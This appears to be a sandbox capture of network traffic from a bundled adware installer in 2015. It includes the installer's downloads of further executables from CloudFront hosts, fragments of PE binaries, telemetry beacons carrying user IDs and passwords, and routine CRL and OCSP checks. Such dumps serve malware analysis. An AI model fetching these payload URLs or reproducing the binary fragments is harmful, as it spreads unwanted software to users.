..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /crls/secureca.crl HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: crl.geotrust.com


HTTP/1.1 200 OK
Server: Apache
ETag: "52e65913e9769fe043639de567944707:1430384121"
Last-Modified: Thu, 30 Apr 2015 08:55:21 GMT
Date: Thu, 30 Apr 2015 09:27:12 GMT
Content-Length: 724
Connection: keep-alive
Content-Type: application/pkix-crl
0...0..90...*.H........0N1.0...U....US1.0...U....Equifax1-0 ..U...$Equ
ifax Secure Certificate Authority..150430084300Z..150510084300Z0...0..
..v...140618150003Z0........140429180917Z0........140709194633Z0......
..140416233935Z0.....)..140617185515Z0....Bf..120627171053Z0.....3..02
0515130611Z0.....#..140606204021Z0........100729164439Z0........140606
222139Z0....%...020514181157Z0........140725020038Z0....M\..1404300004
42Z0........100729164732Z0....uU..150118022133Z0....V...140624123102Z0
........120627171025Z0........140618143256Z0.....>..140711125531Z0.
...j...140226123519Z0...*.H.............!../.{.7.r./.\.:....d....~.'.Z
[email protected]%.....N.^.X...,.mQs..... ..'!..l
....c.......!w=@:...D.M....HTTP/1.1 200 OK..Server: Apache..ETag: "52e
65913e9769fe043639de567944707:1430384121"..Last-Modified: Thu, 30 Apr 
2015 08:55:21 GMT..Date: Thu, 30 Apr 2015 09:27:12 GMT..Content-Length
: 724..Connection: keep-alive..Content-Type: application/pkix-crl..0..
.0..90...*.H........0N1.0...U....US1.0...U....Equifax1-0 ..U...$Equifa
x Secure Certificate Authority..150430084300Z..150510084300Z0...0....v
...140618150003Z0........140429180917Z0........140709194633Z0........1
40416233935Z0.....)..140617185515Z0....Bf..120627171053Z0.....3..02051
5130611Z0.....#..140606204021Z0........100729164439Z0........140606222
139Z0....%...020514181157Z0........140725020038Z0....M\..140430000442Z
0........100729164732Z0....uU..150118022133Z0....V...140624123102Z0...
.....120627171025Z0........140618143256Z0.....>..140711125531Z0
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286329
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT
Accept-Ranges: bytes
ETag: "b8e31d44765d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Tue, 21 Apr 2015 16:12:59 GMT
Content-Range: bytes 0-1286328/1286329
X-Cache: RefreshHit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: tS2O9wYFwA6K41wiMr27T0WvLnB0BuhOwR0UTj6jmeQs3VE4K6O_IA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=9116-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 63806
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 9116-72921/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 3-ftHfYF7TkuddWzHP6XZhCAi30mbuWC61BEJTy3yNiO0HY-TYw5tg==
[email protected],.u....u.)u.....@..}....B....u9E........jj
...j.....tS9u.}..u.VW.Y.....uHj.X.I.u.9u.}[email protected]
[email protected].;u.u..u.)u..}.......u..E._^[.....t$..t$..5..@...(.....j.j
[email protected]@....V...B.V.B-..V..%....u.^.V.U%[email protected]'..
^.......SUV3.W.\$..D$...@..\$ .D$. [email protected]@[email protected].
...6B.S.D$8h`[email protected][email protected]..?*.... [email protected]*..S...q@..
=..B."..6B...u..D$."...B..t$.P..$..P.. [email protected]$........ [email protected] t..8".D$. 
[email protected]$.".8/[email protected]... t.:.u...`7B........{[email protected][email protected].@
[email protected]... t.:.u..L$ [email protected][email protected].@......
[email protected]$.P..#...8"u.@..:...6......X....Ph..B...)...5.p@...
[email protected][email protected]..([email protected]..(.
[email protected]\[email protected][email protected]@..t$ .S...;..D$.......9.
.6B.tvSU./#....;[email protected][email protected][email protected][email protected];.s
.;[email protected]..#....t*Vh..B...(..Vh..B...(...\$...l7B........D$.
[email protected]\$.......h.. [email protected][email protected]..'[email protected]
[email protected]@.8...B.u.Vh..B...'...t$.h.@B..~'..f...@[email protected]..%A.@.]..
...A.f..DB...6B... ...V.o'[email protected]\[email protected]..%....6B
...$...V.8'..V.....;.t.P...p@..\$....DB.Mu.SW..%.......9.T7B.t{j...*..
j.....)..j.....)..;...tH;.tD;[email protected]$.Pj([email protected],.D$(Ph,[email protected]$
,SPS.t$0.D$<[email protected]$..t$....
p@[email protected]@.....@...(...j.h..B.......V.5..A....t$..V..6Y..u.^.
[email protected]@...u._.%..A..^....A....H.;
<<< skipped >>>


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=225905ee-8d98-45f3-9c8f-9c83de3b2ec2&Password=DzlheLoT&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430385910&SBPIDS=1&KA=1 HTTP/1.1
User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 44
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=zzzamfnuq4dh3p45q13vux55; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:11 GMT
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>.HT
TP/1.1 200 OK..Cache-Control: private..Content-Length: 44..Content-Typ
e: text/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Versi
on: 2.0.50727..Set-Cookie: ASP.NET_SessionId=zzzamfnuq4dh3p45q13vux55;
 path=/; HttpOnly..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 2015 09:25
:11 GMT..<RESULT>.<LASTERROR>0</LASTERROR>.</RESU
LT>.....


GET /online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=3b091727-27e1-4c47-b3f1-08da5080b725&Password=xOjNfrxi&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,0af78b95-d2eb-4fd4-967a-6cd8a6a2e22d,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430385912&SBPIDS=1&KA=1 HTTP/1.1


User-Agent: CoreWinInet
Host: online.speedbit.com
Cache-Control: no-cache
Connection: Keep-Alive
Cookie: ASP.NET_SessionId=zzzamfnuq4dh3p45q13vux55


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 44
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:12 GMT
<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT>.HT
TP/1.1 200 OK..Cache-Control: private..Content-Length: 44..Content-Typ
e: text/html; charset=utf-8..Server: Microsoft-IIS/7.5..X-AspNet-Versi
on: 2.0.50727..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 2015 09:25:12 
GMT..<RESULT>.<LASTERROR>0</LASTERROR>.</RESULT&g
t;...



GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=18230-36461
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 18232
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 18230-36461/72922
Age: 3332
X-Cache: Hit from cloudfront
Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)
X-Amz-Cf-Id: nvscF5NE2u86ZAz6V_K15T8ung_B_bCrrx5s-Pb5IMn4b_OhPttQxA==
[email protected]@..E......%[email protected][email protected]$
..........=`7B..t....uG.=h7B..t.........6B.h..@[email protected][email protected]$....
@... [email protected][email protected]@[email protected]@...
[email protected]$..u.WV..|[email protected]._^...U....L...S.].VW.}......W.E..........E.t.W
..0q@[email protected].......]..e..t.....'...............B.WV......}..t.h`.@
.V.......W......?.u..=..B.\[email protected]....([email protected].
............j?P.......,....8.t..}..t..u..>.u..F...tc<.u..~..tYVS
.F..........t..E....<.u?.u.W......4.u.W.......u.9E.t.Wj......j.W...
......H7B...Wj............P.u...,[email protected]...<q@..}..t..c..3.9u
.tK9u.u...H7B..>W.......t4W.5....E...PW.......u.9u.t.Wj..s...VW.5..
...Wj..b..._^[....V.t$.V.{[email protected]\[email protected].....^....D$...:L$
.t.P.. [email protected]$.V.4......8\t.PV...q@.;.w.. .@^....T$...... ..\
u.8J.t.<a|.<z...z.:[email protected] [email protected].|$.W....S......t..;:u..
{.\u.P...$..\u.8O.u.j.^j\[email protected]._^[...VW.t$....B.V.q...V
.........u.3..RW........6B..t.....t.<\t. ....C.....t....t.V.....V.@
...;[email protected]........._^[email protected]..'.E..u...0
[email protected].. [email protected]..;E.}.3._^[.........L$.V.t$...v..D$. .
.....ANu.^[email protected].$.P.t$...|p@...^[email protected]....#
[email protected][email protected]...`[email protected].
[email protected]..&._^][email protected].;u.u.3.@..
3.^][email protected]@[email protected][email protected]..
..../...;...'....P.B.SV.t$ ..........;.......VWh|[email protected]@....
<<< skipped >>>


POST /ocsp HTTP/1.1
Host: clients1.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 107
Content-Type: application/ocsp-request
Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
.sR'..i..0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Thu, 30 Apr 2015 09:23:29 GMT
Expires: Mon, 04 May 2015 09:23:29 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=1
0..........0..... .....0......0...0......J......h.v....b..Z./..2015043
0011333Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
...sR'..i....20150430011333Z....20150507011333Z0...*.H..............Au
n..Z.I..!B.".........RE.6.][email protected]_..3{...|.$..t..V.A
d.j.h..e1S....y...>......8...d.q...&~........)Rdu-..)YL..H...UKG..e
.r5Fl./.....,...&`.a..Vpm.9......S<..Q.....w<@\..j.o..09.~43}.k.
._..(.....-......<...%G.&J.qi...g..0....W....3.....FHTTP/1.1 200 OK
..Content-Type: application/ocsp-response..Date: Thu, 30 Apr 2015 09:2
3:29 GMT..Expires: Mon, 04 May 2015 09:23:29 GMT..Cache-Control: publi
c, max-age=345600..Server: ocsp_responder..Content-Length: 463..X-XSS-
Protection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Prot
ocol: 80:quic,p=1..0..........0..... .....0......0...0......J......h.v
....b..Z./..20150430011333Z0k0i0A0... ..........j.....p.I.#z...(~d..J.
.....h.v....b..Z./....sR'..i....20150430011333Z....20150507011333Z0...
*.H..............Aun..Z.I..!B.".........RE.6.][email protected]
_..3{...|.$..t..V.Ad.j.h..e1S....y...>......8...d.q...&~........)Rd
u-..)YL..H...UKG..e.r5Fl./.....,...&`.a..Vpm.9......S<..Q.....w<
@\..j.o..09.~43}.k.._..(.....-......<...%G.&J.qi...g..0....W....3..
...F....
<<< skipped >>>

POST /ocsp HTTP/1.1


Host: clients1.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 107
Content-Type: application/ocsp-request
Connection: keep-alive

0i0g0E0C0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.....F......0.0... .....0...
0... .....0..
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
Date: Thu, 30 Apr 2015 09:23:29 GMT
Expires: Mon, 04 May 2015 09:23:29 GMT
Cache-Control: public, max-age=345600
Server: ocsp_responder
Content-Length: 463
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=1
0..........0..... .....0......0...0......J......h.v....b..Z./..2015043
0010946Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....b..Z./.
....F........20150430010946Z....20150507010946Z0...*.H...............a
..;..]v.q../.=*..u..$M....... ..O..}.0.-...\=..?Y...B.a.c.Ub).z.._#KSd
.Wm!..............R...D...Q.... .:.k5...".V~.(T-&..c....\...{?-..9.T..
...s!...x.....$.f....$.S.C.9t.$5..(.~.-n.......k..._NV.-%.w..1.Y..U...
2T#K......../d.. ..D.~..n...~w.B..I!Fb.R...HTTP/1.1 200 OK..Content-Ty
pe: application/ocsp-response..Date: Thu, 30 Apr 2015 09:23:29 GMT..Ex
pires: Mon, 04 May 2015 09:23:29 GMT..Cache-Control: public, max-age=3
45600..Server: ocsp_responder..Content-Length: 463..X-XSS-Protection: 
1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol: 80:qui
c,p=1..0..........0..... .....0......0...0......J......h.v....b..Z./..
20150430010946Z0k0i0A0... ..........j.....p.I.#z...(~d..J......h.v....
b..Z./.....F........20150430010946Z....20150507010946Z0...*.H.........
......a..;..]v.q../.=*..u..$M....... ..O..}.0.-...\=..?Y...B.a.c.Ub).z
.._#KSd.Wm!..............R...D...Q.... .:.k5...".V~.(T-&..c....\...{?-
..9.T.....s!...x.....$.f....$.S.C.9t.$5..(.~.-n.......k..._NV.-%.w..1.
Y..U...2T#K......../d.. ..D.~..n...~w.B..I!Fb.R.....
<<< skipped >>>


GET /images/Tokyo/tokyo_sprite_full.png HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dreejadsuld8c.cloudfront.net
If-Modified-Since: Wed, 29 Apr 2015 08:47:22 GMT
If-None-Match: "55409a9a-6721"
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Thu, 30 Apr 2015 09:27:16 GMT
Server: nginx
ETag: "55409a9a-6721"
Expires: Wed, 29 Apr 2015 09:17:21 GMT
Cache-Control: max-age=600
Age: 251
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: A3NXMmhMfuEZXWvP2fHtPiLDahwbTDeEBbK1qL0l9AfcI6kmxVswig==
HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 30 Apr 2
015 09:27:16 GMT..Server: nginx..ETag: "55409a9a-6721"..Expires: Wed, 
29 Apr 2015 09:17:21 GMT..Cache-Control: max-age=600..Age: 251..X-Cach
e: Hit from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62bd.clou
dfront.net (CloudFront)..X-Amz-Cf-Id: A3NXMmhMfuEZXWvP2fHtPiLDahwbTDeE
BbK1qL0l9AfcI6kmxVswig==......


GET /affiliates/filesfrog/eula.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dreejadsuld8c.cloudfront.net
If-Modified-Since: Sun, 26 Oct 2014 17:23:05 GMT
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Date: Thu, 30 Apr 2015 09:27:16 GMT
Server: nginx
Expires: Sun, 26 Apr 2015 05:06:04 GMT
Cache-Control: max-age=600
Age: 53
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloudfront.net (CloudFront)
X-Amz-Cf-Id: UHfiiN8FiA1YTSdWdQ5kkjBxJfRhO0j2Rqtujrf4d9ncFLId96_1LA==
HTTP/1.1 304 Not Modified..Connection: keep-alive..Date: Thu, 30 Apr 2
015 09:27:16 GMT..Server: nginx..Expires: Sun, 26 Apr 2015 05:06:04 GM
T..Cache-Control: max-age=600..Age: 53..Vary: Accept-Encoding..X-Cache
: Hit from cloudfront..Via: 1.1 1f8a17c41295fac39556a328869a62bd.cloud
front.net (CloudFront)..X-Amz-Cf-Id: UHfiiN8FiA1YTSdWdQ5kkjBxJfRhO0j2R
qtujrf4d9ncFLId96_1LA==..



GET /affiliates/filesfrog/eula.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/591e247a260e754da0a14c821f058054?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: dreejadsuld8c.cloudfront.net
Connection: Keep-Alive



.....7 "......0....



GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
If-Modified-Since: Wed, 29 Apr 2015 08:47:22 GMT
If-None-Match: "55409a9a-d66"
Connection: Keep-Alive


HTTP/1.1 304 Not Modified
Connection: keep-alive
Server: nginx
Date: Thu, 30 Apr 2015 09:27:16 GMT
Last-Modified: Wed, 29 Apr 2015 08:47:22 GMT
ETag: "55409a9a-d66"
Expires: Thu, 30 Apr 2015 09:37:16 GMT
Cache-Control: max-age=600
X-Cache: RefreshHit from cloudfront
Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XuFgp8JksihgdG9PUi8vTYWJHUzpyQgo6txTcEqYy71jbfAc9InlAA==
HTTP/1.1 304 Not Modified..Connection: keep-alive..Server: nginx..Date
: Thu, 30 Apr 2015 09:27:16 GMT..Last-Modified: Wed, 29 Apr 2015 08:47
:22 GMT..ETag: "55409a9a-d66"..Expires: Thu, 30 Apr 2015 09:37:16 GMT.
.Cache-Control: max-age=600..X-Cache: RefreshHit from cloudfront..Via:
 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)..X-A
mz-Cf-Id: XuFgp8JksihgdG9PUi8vTYWJHUzpyQgo6txTcEqYy71jbfAc9InlAA==..font>....


GET /affiliates/filesfrog/eula.html HTTP/1.1


Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d3i779maf1zmkk.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 26 Apr 2015 05:01:58 GMT
Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT
Expires: Sun, 26 Apr 2015 05:11:58 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 8ba00e7b6e8959a64c4f6f61fd5596de.cloudfront.net (CloudFront)
X-Amz-Cf-Id: OeIhrTb7UthCpvh1_KosqfsrEs5G1bpPG6Smi9A06-JgImNzz0g2xg==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71390-
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 214168
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71390-285557/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 c2890b1d84d781704a34b9aa5c069d4e.cloudfront.net (CloudFront)
X-Amz-Cf-Id: Ecg3hE7FrYELrJN66mKr5L8tnO4mlb1ZngzSmv1WERqkPO-WPiIvww==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x
<<< skipped >>>


GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.ClearnC HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Thu, 30 Apr 2015 09:23:40 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.45 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Thu, 30 Apr 20
